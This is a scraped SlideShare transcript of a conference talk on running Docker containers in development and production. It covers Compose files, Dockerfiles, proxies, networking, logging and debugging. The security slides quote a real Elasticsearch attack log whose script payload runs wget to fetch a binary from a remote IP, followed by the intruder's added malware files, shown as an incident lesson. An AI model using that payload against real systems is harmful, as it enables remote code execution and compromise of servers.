SlideShare a Scribd company logo
Real World Experiences of Running
Docker in Development and Production
@Ben_Hall
Ben@BenHall.me.uk
OcelotUproar.com / Katacoda.com
@Ben_Hall / Blog.BenHall.me.uk
Tech Support > Tester > Developer >
Founder
Software Development Studio
WHOAMI?
Agenda
• Continuous Integration and Development
• Orchestration
• Security
• Logging and Monitoring
• Debugging
• Scaling
Beyond the hype. How do
containers work in the real world?
doger.io
Real World Experience of Running Docker in Development and Production
https://www.docker.com/whatisdocker/
Container
Own Process Space
Own Network Interface
Own Root Directories
Sandboxed
Like a lightweight VM. But it’s not a VM.
Container
Native CPU
Native Memory
Native IO
No Pre-Allocation
No Performance Overheard
Container
Milliseconds to launch
Still fully isolated
Docker - An open platform for distributed
applications for developers and sysadmins.
Got us to agree on something!
Real World Experience of Running Docker in Development and Production
Batteries included but
removable
Continuous Integration and
Development
Everything is a container
New Starters
Node, Golang, Postgres and
Redis
Katacoda
> docker run –p 6379:6379 redis
_.-``__ ''-._
_.-`` `. `_. ''-._ Redis 3.0.3 (00000000/0) 64 bit
.-`` .-```. ```/ _.,_ ''-._
( ' , .-` | `, ) Running in standalone mode
|`-._`-...-` __...-.``-._|'` _.-'| Port: 6379
| `-._ `._ / _.-' | PID: 1
`-._ `-._ `-./ _.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' | http://redis.io
`-._ `-._`-.__.-'_.-' _.-'
|`-._`-._ `-.__.-' _.-'_.-'|
| `-._`-._ _.-'_.-' |
`-._ `-._`-.__.-'_.-' _.-'
`-._ `-.__.-' _.-'
`-._ _.-'
`-.__.-'
1:M 05 Nov 10:42:24.402 # Server started, Redis version 3.0.3
1:M 05 Nov 10:42:24.402 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition.
To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl
vm.overcommit_memory=1' for this to take effect.
1:M 05 Nov 10:42:24.402 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will
create latency and memory usage issues with Redis. To fix this issue run the command 'echo never >
/sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a
reboot. Redis must be restarted after THP is disabled.
1:M 05 Nov 10:42:24.403 # WARNING: The TCP backlog setting of 511 cannot be enforced because
/proc/sys/net/core/somaxconn is set to the lower value of 128.
1:M 05 Nov 10:42:24.403 * The server is now ready to accept connections on port 6379
> docker run --name db -d postgres
> docker logs db
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.
The database cluster will be initialized with locale "en_US.utf8".
The default database encoding has accordingly been set to "UTF8".
The default text search configuration will be set to "english".
Data page checksums are disabled.
fixing permissions on existing directory /var/lib/postgresql/data ... ok
creating subdirectories ... ok
selecting default max_connections ... 100
selecting default shared_buffers ... 128MB
selecting dynamic shared memory implementation ... posix
creating configuration files ... ok
creating template1 database in /var/lib/postgresql/data/base/1 ... ok
initializing pg_authid ... ok
Docker Compose
> cat docker-compose-dev.yml
redis:
image: redis:2.8.21
ports:
- 6379:6379
restart: always
db:
build: pg-schema # Includes Schema and migrations
ports:
- 5432:5432
environment:
POSTGRES_PASSWORD: 'mysecretpassword'
restart: always
> docker-compose –f docker-compose-dev.yml up –d
Node.js
> docker run -it --rm
-w /usr/app
-v $(pwd):/usr/app
-v $(pwd)/d_node_modules:/usr/app/node_modules
-p 3000:3000
node:0.10.38
bash
RStudio
> docker run -d -p 8787:8787 rocker/rstudio
> docker run --name=selenium
--privileged
-p 4444:4444 -p 5999:5999
-d vvoyer/docker-selenium-firefox-chrome
> cat load-test.js
function detectBrowser(name) {
wd.remote({ host: 'b2d',
desiredCapabilities: {
browserName: name
}
})
.init()
.url('http://www.whatismybrowser.com/')
.getText('.string-major', function(err, text) {
console.log(name + 'browser was detected as ' + text);
})
.end();
}
['chrome', 'firefox'].forEach(detectBrowser);
https://github.com/BenHall/docker-selenium-example
Real World Experience of Running Docker in Development and Production
Building Images
Real World Experience of Running Docker in Development and Production
> cat Dockerfile
FROM node:0.10.38
RUN mkdir -p /usr/src/app
WORKDIR /usr/src/app
COPY . /usr/src/app
RUN npm install
CMD [ "npm", "start" ]
> docker build –t nodeapp .
> docker run –d –p 3000 nodeapp
Order Matters
> cat Dockerfile
FROM node:0.10.38
RUN mkdir -p /usr/src/app
WORKDIR /usr/src/app
COPY package.json /usr/src/app/
RUN npm install
COPY . /usr/src/app
CMD [ "npm", "start" ]
> cat Dockerfile-onbuild
FROM node:0.10.38
RUN mkdir -p /usr/src/app
WORKDIR /usr/src/app
ONBUILD COPY package.json /usr/src/app/
ONBUILD RUN npm install
ONBUILD COPY . /usr/src/app
CMD [ "npm", "start" ]
> cat Dockerfile
FROM node:0.10.38-onbuild
EXPOSE 3000
Size Matters
> cat Dockerfile
FROM ocelotuproar/alphine-node:4.2.1-onbuild
EXPOSE 3000
> curl https://raw.githubusercontent.com/OcelotUproar/alphine-
node/master/Dockerfile
FROM alpine:3.2
# Thanks to https://github.com/mhart/alpine-node
ENV VERSION=v4.2.1
RUN apk add --update curl make gcc g++ python linux-headers paxctl libgcc libstdc++ && 
curl -sSL https://nodejs.org/dist/${VERSION}/node-${VERSION}.tar.gz | tar -xz && 
cd /node-${VERSION} && 
./configure --prefix=/usr && 
make -j$(grep -c ^processor /proc/cpuinfo 2>/dev/null || 1) && 
make install && 
paxctl -cm /usr/bin/node && 
cd / && 
npm install -g npm@2 && 
find /usr/lib/node_modules/npm -name test -o -name .bin -type d | xargs rm -rf; 
apk del curl make gcc g++ python linux-headers paxctl && 
rm -rf /etc/ssl /node-${VERSION} 
/usr/share/man /tmp/* /var/cache/apk/* /root/.npm /root/.node-gyp 
/usr/lib/node_modules/npm/man /usr/lib/node_modules/npm/doc /usr/lib/node_modules/npm/html
> docker images
scrapbook/redis-node-docker-example 703.3 MB
node:0.10.38-onbuild 702.9 MB
> docker images
scrapbook/redis-node-docker-example 35.4 MB
ocelotuproar/alphine-node:4.2-onbuild 35.02 MB
Go Lang Development
Environment
> docker run -it --rm
-w /go/src/github.com/myapp
-v $(pwd)/vendor/github.com/:/go/src/github.com/
-v $(pwd):/go/src/github.com/myapp
golang:1.4
bash
> cat MakeFile
build-dev copy build-release:
echo ”Building Release Image"
build-dev:
docker build –f Dockerfile-dev –t warden-dev .
copy:
docker create --name tmp warden-dev
docker cp tmp:/go/bin/app $(shell pwd)/app
docker rm tmp
build-release:
docker build –t ocelotuproar/warden
> cat Dockerfile-dev
FROM golang:latest
RUN mkdir /app
ADD . /app/
WORKDIR /app
RUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix
cgo -o main .
CMD ["/app/main”]
EXPOSE 80
> cat Dockerfile
FROM scratch
EXPOSE 80
COPY app /
CMD ["/app"]
> docker images
scrapbook/docker-http-server 528.9 MB
golang:latest 517.3 MB
> docker images
scrapbook/docker-http-server 5.812 MB
CI becomes very simple
Exit Codes
Private Registry
Like hub.docker.com
Just a container
Docker in Production
Containers can’t fix broken
architectures.
But they can help…
Production isn’t special
Just another environment
Immutable
Disposable Container Pattern
Persisting Data
> docker run –v <host-dir>:<container-dir> image
-v /opt/docker/elasticsearch:/data
-v /opt/docker/mysql:/var/lib/mysql
-v /docker/scrapbook/uploads:/app/public/uploads
-v $(PWD):/host
-v /var/log/syslog:/var/log/syslog
Docker Compose
> docker-compose up -d
> cat docker-compose.yml
web:
image: ocelotuproar/katacoda
volumes:
- /opt/projects/katacoda/data:/usr/src/app/data
- /opt/docker/katacoda/db:/usr/src/app/ocelite-db
- /var/run/docker.sock:/var/run/docker.sock
ports:
- 3000
environment:
VIRTUAL_HOST: 'katacoda.com,*.katacoda.com'
NODE_ENV: 'production’
restart: always
// Production version of docker-compose-dev.yml
> docker-compose up # Start containers
–d # In background
Recreating katacoda_nginx_1...
Recreating katacoda_redis_1...
Recreating katacoda_db_1...
Recreating katacoda_elasticsearch_1...
Recreating katacoda_web_1…
> docker-compose stop # Stop containers
Stopping katacoda_web_1...
Stopping katacoda_elasticsearch_1...
Stopping katacoda_db_1...
Stopping katacoda_redis_1...
Stopping katacoda_nginx_1...
Sidekick Containers for
backup
Pushes to Dropbox
Cost effective
Auto Discovery is key to a
good container architecture
Docker Events
Problem: Port 80
Problematic Approach
> docker run -d --name nginx_root
--link blog_benhall-1:blog_benhall-1
--link katacoda-1:katacoda-1
--link scrapbook_web_1:scrapbook_web_1
--link brownbag_web_1:brownbag_web_1
-p 80:80
-v /opt/docker/nginx/www:/data
-v /opt/docker/nginx/sites:/etc/nginx/sites-enabled
-v /opt/docker/nginx/logs:/var/log/nginx
nginx
Nginx Proxy
https://github.com/jwilder/nginx-proxy
https://www.dropbox.com/s/2f6y2frfjafc409/nginx-proxy-optimised.gif?dl=0
• -v /var/run/docker.sock:/tmp/docker.sock
• VIRTUAL_HOST=my.container.com
Problem: Zero Downtime
Rolling Updates Node.js
> docker run –e VIRTUAL_HOST=myapp myapp:v2.0
// Make some changes
> docker build –t myapp:v2.1
> docker run –e VIRTUAL_HOST=myapp myapp:v2.1
// Load Balanced
> docker stop <container for myapp:v2.0>
Not Great.
Problem: Scaling Node.js
Using Nginx Proxy to scale
Node.js
> docker-compose scale web=5
Problem: Multiple Docker
Hosts
Software Defined Network
Weave
> weave launch
> docker run –name ws web-server
// second host
> weave launch <host-01 ip>
> docker run --name ws -d -p 80:80 
scrapbook/docker-http-server
> docker run ubuntu ping -c1 ws
ping ws.weave.local (10.0.0.1)
Weave DNS
> docker run --name ws -d -p 80:80 
scrapbook/docker-http-server
> docker run --name ws -d -p 80:80 
scrapbook/docker-http-server
> docker run --name ws -d -p 80:80 
scrapbook/docker-http-server
> docker run ubuntu ping -c1 ws
ping ws.weave.local (10.0.0.1)
> docker run ubuntu ping -c1 ws
ping ws.weave.local (10.0.0.2)
> docker run ubuntu ping -c1 ws
ping ws.weave.local (10.0.0.3)
Auto Discovery allows you to
dynamically adapt your
infrastructure
> docker run -d --name nginx
-p 80:80
--link blog_benhall:wordpress
nginx-wordpress-example
Nginx
Wordpress
blog_benhall
> docker run -d –name varnish
--link blog_benhall:websiteBeingCached
benhall/docker-varnish
Nginx Varnish
blog_benhall_varnish
Wordpress
blog_benhall
> docker run -d --name nginx
-p 80:80
--link varnish:wordpress
nginx-wordpress-example
Common Question: Is it
secure?
Hosting provider becomes
unhappy
Real World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and Production
org.elasticsearch.search.SearchParseException: [index][3]:
query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse
source
[{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"s
cript":"import java.util.*;nimport java.io.*;nString str = "";BufferedReader br
= new BufferedReader(new
InputStreamReader(Runtime.getRuntime().exec("wget -O /tmp/xdvi
http://<IP Address>:9985/xdvi").getInputStream()));StringBuilder sb = new
StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"
}}}]]
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
C /bin
C /bin/netstat
C /bin/ps
C /bin/ss
C /etc
C /etc/init.d
A /etc/init.d/DbSecuritySpt
A /etc/init.d/selinux
C /etc/rc1.d
A /etc/rc1.d/S97DbSecuritySpt
A /etc/rc1.d/S99selinux
C /etc/rc2.d
A /etc/rc2.d/S97DbSecuritySpt
A /etc/rc2.d/S99selinux
C /etc/rc3.d
A /etc/rc3.d/S97DbSecuritySpt
A /etc/rc3.d/S99selinux
C /etc/rc4.d
A /etc/rc4.d/S97DbSecuritySpt
A /etc/rc4.d/S99selinux
C /etc/rc5.d
http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/
A /etc/rc5.d/S97DbSecuritySpt
A /etc/rc5.d/S99selinux
C /etc/ssh
A /etc/ssh/bfgffa
A /os6
A /safe64
C /tmp
A /tmp/.Mm2
A /tmp/64
A /tmp/6Sxx
A /tmp/6Ubb
A /tmp/DDos99
A /tmp/cmd.n
A /tmp/conf.n
A /tmp/ddos8
A /tmp/dp25
A /tmp/frcc
A /tmp/gates.lod
A /tmp/hkddos
A /tmp/hsperfdata_root
A /tmp/linux32
A /tmp/linux64
A /tmp/manager
A /tmp/moni.lod
A /tmp/nb
A /tmp/o32
A /tmp/oba
A /tmp/okml
A /tmp/oni
A /tmp/yn25
C /usr
C /usr/bin
A /usr/bin/.sshd
A /usr/bin/dpkgd
A /usr/bin/dpkgd/netstat
A /usr/bin/dpkgd/ps
A /usr/bin/dpkgd/ss
Only as secure as the
contents running in the
container
Logging and Monitoring
All Stdout and StdErr logged
Logs fill disks
Docker Logging Options
> docker run --log-driver=syslog redis
> docker run --log-driver=none redis
> docker run --log-driver=json-file 
--log-opt="" 
redis
--log-opt max-size=[0-9+][k|m|g]
--log-opt max-file=[0-9+]
--log-opt max-size=50m
--log-opt max-file=100
ELK + LogSpout
> docker run -d 
-p 8000:8000 
-v /var/run/docker.sock:/tmp/docker.sock 
--name logspout 
gliderlabs/logspout:master syslog://192.168.99.100:5000
https://github.com/benhall/docker-elk
> docker run -d
--restart=always # Restart if exits non-zero
redis
Health Endpoints
Debugging
> docker exec –it <container-name> bash
> docker exec -it scrapbookv2prototype_nginx_1 
cat /etc/nginx/conf.d/default.conf
upstream katacoda.com {
server 172.17.0.30:3000;
}
server {
server_name katacoda.com;
listen 80 ;
access_log /var/log/nginx/access.log vhost;
location / {
proxy_pass http://katacoda.com;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_http_version 1.1;
}
Real World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and Production
> docker run –it --name sysdig
--privileged
-v /var/run/docker.sock:/host/var/run/docker.sock
-v /dev:/host/dev
-v /proc:/host/proc:ro
-v /boot:/host/boot:ro
-v /lib/modules:/host/lib/modules:ro
-v /usr:/host/usr:ro
sysdig/sysdig
Real World Experience of Running Docker in Development and Production
Scaling
Real World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and Production
Real World Experience of Running Docker in Development and Production
Summary
• Batteries included but removable
• Containers are a new way of thinking,
embrace and extend
• New tools and approaches to solving
problems
• Don’t corrupt your host. Everything as a
container
Thank you!
@Ben_Hall
Ben@BenHall.me.uk
Blog.BenHall.me.uk
www.Katacoda.com

More Related Content

PPTX
Running Docker in Development & Production (DevSum 2015)
PPTX
Running Docker in Development & Production (#ndcoslo 2015)
PPTX
The How and Why of Windows containers
PPTX
Deploying Windows Containers on Windows Server 2016
PPTX
Real World Lessons on the Pain Points of Node.js Applications
PPTX
Running .NET on Docker
PPTX
Real World Lessons on the Pain Points of Node.JS Application
PPTX
Lessons from running potentially malicious code inside Docker containers
Running Docker in Development & Production (DevSum 2015)
Running Docker in Development & Production (#ndcoslo 2015)
The How and Why of Windows containers
Deploying Windows Containers on Windows Server 2016
Real World Lessons on the Pain Points of Node.js Applications
Running .NET on Docker
Real World Lessons on the Pain Points of Node.JS Application
Lessons from running potentially malicious code inside Docker containers

What's hot (20)

PPTX
Lessons from running potentially malicious code inside containers
PPTX
Deploying applications to Windows Server 2016 and Windows Containers
PDF
파이썬 개발환경 구성하기의 끝판왕 - Docker Compose
PDF
DCSF19 Tips and Tricks of the Docker Captains
PDF
Docker All The Things - ASP.NET 4.x and Windows Server Containers
PDF
手把手帶你學Docker 03042017
PPTX
PHP development with Docker
PDF
Developing and Deploying PHP with Docker
PDF
Scaling Next-Generation Internet TV on AWS With Docker, Packer, and Chef
PPT
Running High Performance and Fault Tolerant Elasticsearch Clusters on Docker
PDF
Plug-ins: Building, Shipping, Storing, and Running - Nandhini Santhanam and T...
PDF
Introducing Docker
PDF
2017-03-11 02 Денис Нелюбин. Docker & Ansible - лучшие друзья DevOps
PDF
Docker in practice
PPTX
Docker for Developers - Sunshine PHP
PDF
DCEU 18: Dockerfile Best Practices
PDF
The Docker "Gauntlet" - Introduction, Ecosystem, Deployment, Orchestration
PPTX
Deploying Symfony2 app with Ansible
ODP
Docker for Developers - php[tek] 2017
PDF
Docker - from development to production (PHPNW 2017-09-05)
Lessons from running potentially malicious code inside containers
Deploying applications to Windows Server 2016 and Windows Containers
파이썬 개발환경 구성하기의 끝판왕 - Docker Compose
DCSF19 Tips and Tricks of the Docker Captains
Docker All The Things - ASP.NET 4.x and Windows Server Containers
手把手帶你學Docker 03042017
PHP development with Docker
Developing and Deploying PHP with Docker
Scaling Next-Generation Internet TV on AWS With Docker, Packer, and Chef
Running High Performance and Fault Tolerant Elasticsearch Clusters on Docker
Plug-ins: Building, Shipping, Storing, and Running - Nandhini Santhanam and T...
Introducing Docker
2017-03-11 02 Денис Нелюбин. Docker & Ansible - лучшие друзья DevOps
Docker in practice
Docker for Developers - Sunshine PHP
DCEU 18: Dockerfile Best Practices
The Docker "Gauntlet" - Introduction, Ecosystem, Deployment, Orchestration
Deploying Symfony2 app with Ansible
Docker for Developers - php[tek] 2017
Docker - from development to production (PHPNW 2017-09-05)
Ad

Viewers also liked (13)

PDF
Using Docker in the Real World
PPTX
Lessons learned running large real-world Docker environments
PPTX
Blue Whale in an Enterprise Pond
PDF
Solving Real World Production Problems with Docker
PPTX
A Fabric/Puppet Build/Deploy System
PDF
Real-World Docker: 10 Things We've Learned
PPTX
Programming the world with Docker
PDF
code.talks 2016 Hamburg - Plesk - AutoScaling WordPress with Docker & AWS - b...
PPTX
Tips on solving E_TOO_MANY_THINGS_TO_LEARN with Kubernetes
PDF
Shipping Applications to Production in Containers with Docker
PDF
From development environments to production deployments with Docker, Compose,...
PDF
PostgreSQL + ZFS best practices
PPTX
Dockercon EU 2015
Using Docker in the Real World
Lessons learned running large real-world Docker environments
Blue Whale in an Enterprise Pond
Solving Real World Production Problems with Docker
A Fabric/Puppet Build/Deploy System
Real-World Docker: 10 Things We've Learned
Programming the world with Docker
code.talks 2016 Hamburg - Plesk - AutoScaling WordPress with Docker & AWS - b...
Tips on solving E_TOO_MANY_THINGS_TO_LEARN with Kubernetes
Shipping Applications to Production in Containers with Docker
From development environments to production deployments with Docker, Compose,...
PostgreSQL + ZFS best practices
Dockercon EU 2015
Ad

Similar to Real World Experience of Running Docker in Development and Production (20)

PDF
JDO 2019: Tips and Tricks from Docker Captain - Łukasz Lach
PDF
Introduction to Docker & CoreOS - Symfony User Group Cologne
 
PPTX
Architecting .NET Applications for Docker and Container Based Deployments
PDF
Drone CI/CD 自動化測試及部署
PPTX
[Codelab 2017] Docker 기초 및 활용 방안
PPTX
Docker for Web Developers: A Sneak Peek
PDF
Docker, c'est bonheur !
PPTX
Docker workshop
PDF
Be a happier developer with Docker: Tricks of the trade
PDF
Docker Essentials Workshop— Innovation Labs July 2020
PPTX
Start tracking your ruby infrastructure
PDF
Be a Happier Developer with Docker: Tricks of the Trade
PDF
時代在變 Docker 要會:台北 Docker 一日入門篇
PPTX
Docker Security workshop slides
PPTX
Docker Networking - Common Issues and Troubleshooting Techniques
PDF
PuppetConf 2016: The Challenges with Container Configuration – David Lutterko...
PDF
Challenges of container configuration
PPTX
Docker 1.11 Presentation
PDF
Docker, Kubernetes, and Google Cloud
PDF
手把手帶你學 Docker 入門篇
JDO 2019: Tips and Tricks from Docker Captain - Łukasz Lach
Introduction to Docker & CoreOS - Symfony User Group Cologne
 
Architecting .NET Applications for Docker and Container Based Deployments
Drone CI/CD 自動化測試及部署
[Codelab 2017] Docker 기초 및 활용 방안
Docker for Web Developers: A Sneak Peek
Docker, c'est bonheur !
Docker workshop
Be a happier developer with Docker: Tricks of the trade
Docker Essentials Workshop— Innovation Labs July 2020
Start tracking your ruby infrastructure
Be a Happier Developer with Docker: Tricks of the Trade
時代在變 Docker 要會:台北 Docker 一日入門篇
Docker Security workshop slides
Docker Networking - Common Issues and Troubleshooting Techniques
PuppetConf 2016: The Challenges with Container Configuration – David Lutterko...
Challenges of container configuration
Docker 1.11 Presentation
Docker, Kubernetes, and Google Cloud
手把手帶你學 Docker 入門篇

More from Ben Hall (18)

PPTX
The Art Of Documentation - NDC Porto 2022
PPTX
The Art Of Documentation for Open Source Projects
PPTX
Three Years of Lessons Running Potentially Malicious Code Inside Containers
PPTX
Containers without docker
PPTX
Deploying windows containers with kubernetes
PPTX
The Art of Documentation and Readme.md for Open Source Projects
PPTX
How Secure Are Docker Containers?
PPTX
The Challenges of Becoming Cloud Native
PPTX
Scaling Docker Containers using Kubernetes and Azure Container Service
PPTX
The art of documentation and readme.md
PPTX
Experimenting and Learning Kubernetes and Tensorflow
PPTX
Learning Patterns for the Overworked Developer
PPTX
Implementing Google's Material Design Guidelines
PPTX
The Art Of Building Prototypes and MVPs
PPTX
Node.js Anti Patterns
PPTX
What Designs Need To Know About Visual Design
PPTX
Real World Lessons On The Anti-Patterns of Node.JS
PPTX
Learning to think "The Designer Way"
The Art Of Documentation - NDC Porto 2022
The Art Of Documentation for Open Source Projects
Three Years of Lessons Running Potentially Malicious Code Inside Containers
Containers without docker
Deploying windows containers with kubernetes
The Art of Documentation and Readme.md for Open Source Projects
How Secure Are Docker Containers?
The Challenges of Becoming Cloud Native
Scaling Docker Containers using Kubernetes and Azure Container Service
The art of documentation and readme.md
Experimenting and Learning Kubernetes and Tensorflow
Learning Patterns for the Overworked Developer
Implementing Google's Material Design Guidelines
The Art Of Building Prototypes and MVPs
Node.js Anti Patterns
What Designs Need To Know About Visual Design
Real World Lessons On The Anti-Patterns of Node.JS
Learning to think "The Designer Way"

Recently uploaded (20)

PPTX
Cloud computing and distributed systems.
PDF
Advanced IT Governance
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
DOCX
The AUB Centre for AI in Media Proposal.docx
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PDF
Empathic Computing: Creating Shared Understanding
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PPTX
MYSQL Presentation for SQL database connectivity
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Advanced Soft Computing BINUS July 2025.pdf
PDF
GamePlan Trading System Review: Professional Trader's Honest Take
PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Electronic commerce courselecture one. Pdf
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Cloud computing and distributed systems.
Advanced IT Governance
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
The AUB Centre for AI in Media Proposal.docx
Per capita expenditure prediction using model stacking based on satellite ima...
Empathic Computing: Creating Shared Understanding
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
Understanding_Digital_Forensics_Presentation.pptx
MYSQL Presentation for SQL database connectivity
Review of recent advances in non-invasive hemoglobin estimation
Mobile App Security Testing_ A Comprehensive Guide.pdf
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Advanced Soft Computing BINUS July 2025.pdf
GamePlan Trading System Review: Professional Trader's Honest Take
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Network Security Unit 5.pdf for BCA BBA.
Spectral efficient network and resource selection model in 5G networks
Diabetes mellitus diagnosis method based random forest with bat algorithm
Electronic commerce courselecture one. Pdf
Build a system with the filesystem maintained by OSTree @ COSCUP 2025

Real World Experience of Running Docker in Development and Production

  • 1. Real World Experiences of Running Docker in Development and Production @Ben_Hall Ben@BenHall.me.uk OcelotUproar.com / Katacoda.com
  • 2. @Ben_Hall / Blog.BenHall.me.uk Tech Support > Tester > Developer > Founder Software Development Studio WHOAMI?
  • 3. Agenda • Continuous Integration and Development • Orchestration • Security • Logging and Monitoring • Debugging • Scaling
  • 4. Beyond the hype. How do containers work in the real world?
  • 8. Own Process Space Own Network Interface Own Root Directories Sandboxed Like a lightweight VM. But it’s not a VM. Container
  • 9. Native CPU Native Memory Native IO No Pre-Allocation No Performance Overheard Container
  • 11. Docker - An open platform for distributed applications for developers and sysadmins.
  • 12. Got us to agree on something!
  • 16. Everything is a container
  • 18. Node, Golang, Postgres and Redis Katacoda
  • 19. > docker run –p 6379:6379 redis _.-``__ ''-._ _.-`` `. `_. ''-._ Redis 3.0.3 (00000000/0) 64 bit .-`` .-```. ```/ _.,_ ''-._ ( ' , .-` | `, ) Running in standalone mode |`-._`-...-` __...-.``-._|'` _.-'| Port: 6379 | `-._ `._ / _.-' | PID: 1 `-._ `-._ `-./ _.-' _.-' |`-._`-._ `-.__.-' _.-'_.-'| | `-._`-._ _.-'_.-' | http://redis.io `-._ `-._`-.__.-'_.-' _.-' |`-._`-._ `-.__.-' _.-'_.-'| | `-._`-._ _.-'_.-' | `-._ `-._`-.__.-'_.-' _.-' `-._ `-.__.-' _.-' `-._ _.-' `-.__.-' 1:M 05 Nov 10:42:24.402 # Server started, Redis version 3.0.3 1:M 05 Nov 10:42:24.402 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect. 1:M 05 Nov 10:42:24.402 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled. 1:M 05 Nov 10:42:24.403 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128. 1:M 05 Nov 10:42:24.403 * The server is now ready to accept connections on port 6379
  • 20. > docker run --name db -d postgres > docker logs db The files belonging to this database system will be owned by user "postgres". This user must also own the server process. The database cluster will be initialized with locale "en_US.utf8". The default database encoding has accordingly been set to "UTF8". The default text search configuration will be set to "english". Data page checksums are disabled. fixing permissions on existing directory /var/lib/postgresql/data ... ok creating subdirectories ... ok selecting default max_connections ... 100 selecting default shared_buffers ... 128MB selecting dynamic shared memory implementation ... posix creating configuration files ... ok creating template1 database in /var/lib/postgresql/data/base/1 ... ok initializing pg_authid ... ok
  • 22. > cat docker-compose-dev.yml redis: image: redis:2.8.21 ports: - 6379:6379 restart: always db: build: pg-schema # Includes Schema and migrations ports: - 5432:5432 environment: POSTGRES_PASSWORD: 'mysecretpassword' restart: always > docker-compose –f docker-compose-dev.yml up –d
  • 23. Node.js > docker run -it --rm -w /usr/app -v $(pwd):/usr/app -v $(pwd)/d_node_modules:/usr/app/node_modules -p 3000:3000 node:0.10.38 bash
  • 24. RStudio > docker run -d -p 8787:8787 rocker/rstudio
  • 25. > docker run --name=selenium --privileged -p 4444:4444 -p 5999:5999 -d vvoyer/docker-selenium-firefox-chrome > cat load-test.js function detectBrowser(name) { wd.remote({ host: 'b2d', desiredCapabilities: { browserName: name } }) .init() .url('http://www.whatismybrowser.com/') .getText('.string-major', function(err, text) { console.log(name + 'browser was detected as ' + text); }) .end(); } ['chrome', 'firefox'].forEach(detectBrowser); https://github.com/BenHall/docker-selenium-example
  • 29. > cat Dockerfile FROM node:0.10.38 RUN mkdir -p /usr/src/app WORKDIR /usr/src/app COPY . /usr/src/app RUN npm install CMD [ "npm", "start" ] > docker build –t nodeapp . > docker run –d –p 3000 nodeapp
  • 31. > cat Dockerfile FROM node:0.10.38 RUN mkdir -p /usr/src/app WORKDIR /usr/src/app COPY package.json /usr/src/app/ RUN npm install COPY . /usr/src/app CMD [ "npm", "start" ]
  • 32. > cat Dockerfile-onbuild FROM node:0.10.38 RUN mkdir -p /usr/src/app WORKDIR /usr/src/app ONBUILD COPY package.json /usr/src/app/ ONBUILD RUN npm install ONBUILD COPY . /usr/src/app CMD [ "npm", "start" ] > cat Dockerfile FROM node:0.10.38-onbuild EXPOSE 3000
  • 34. > cat Dockerfile FROM ocelotuproar/alphine-node:4.2.1-onbuild EXPOSE 3000 > curl https://raw.githubusercontent.com/OcelotUproar/alphine- node/master/Dockerfile FROM alpine:3.2 # Thanks to https://github.com/mhart/alpine-node ENV VERSION=v4.2.1 RUN apk add --update curl make gcc g++ python linux-headers paxctl libgcc libstdc++ && curl -sSL https://nodejs.org/dist/${VERSION}/node-${VERSION}.tar.gz | tar -xz && cd /node-${VERSION} && ./configure --prefix=/usr && make -j$(grep -c ^processor /proc/cpuinfo 2>/dev/null || 1) && make install && paxctl -cm /usr/bin/node && cd / && npm install -g npm@2 && find /usr/lib/node_modules/npm -name test -o -name .bin -type d | xargs rm -rf; apk del curl make gcc g++ python linux-headers paxctl && rm -rf /etc/ssl /node-${VERSION} /usr/share/man /tmp/* /var/cache/apk/* /root/.npm /root/.node-gyp /usr/lib/node_modules/npm/man /usr/lib/node_modules/npm/doc /usr/lib/node_modules/npm/html
  • 35. > docker images scrapbook/redis-node-docker-example 703.3 MB node:0.10.38-onbuild 702.9 MB > docker images scrapbook/redis-node-docker-example 35.4 MB ocelotuproar/alphine-node:4.2-onbuild 35.02 MB
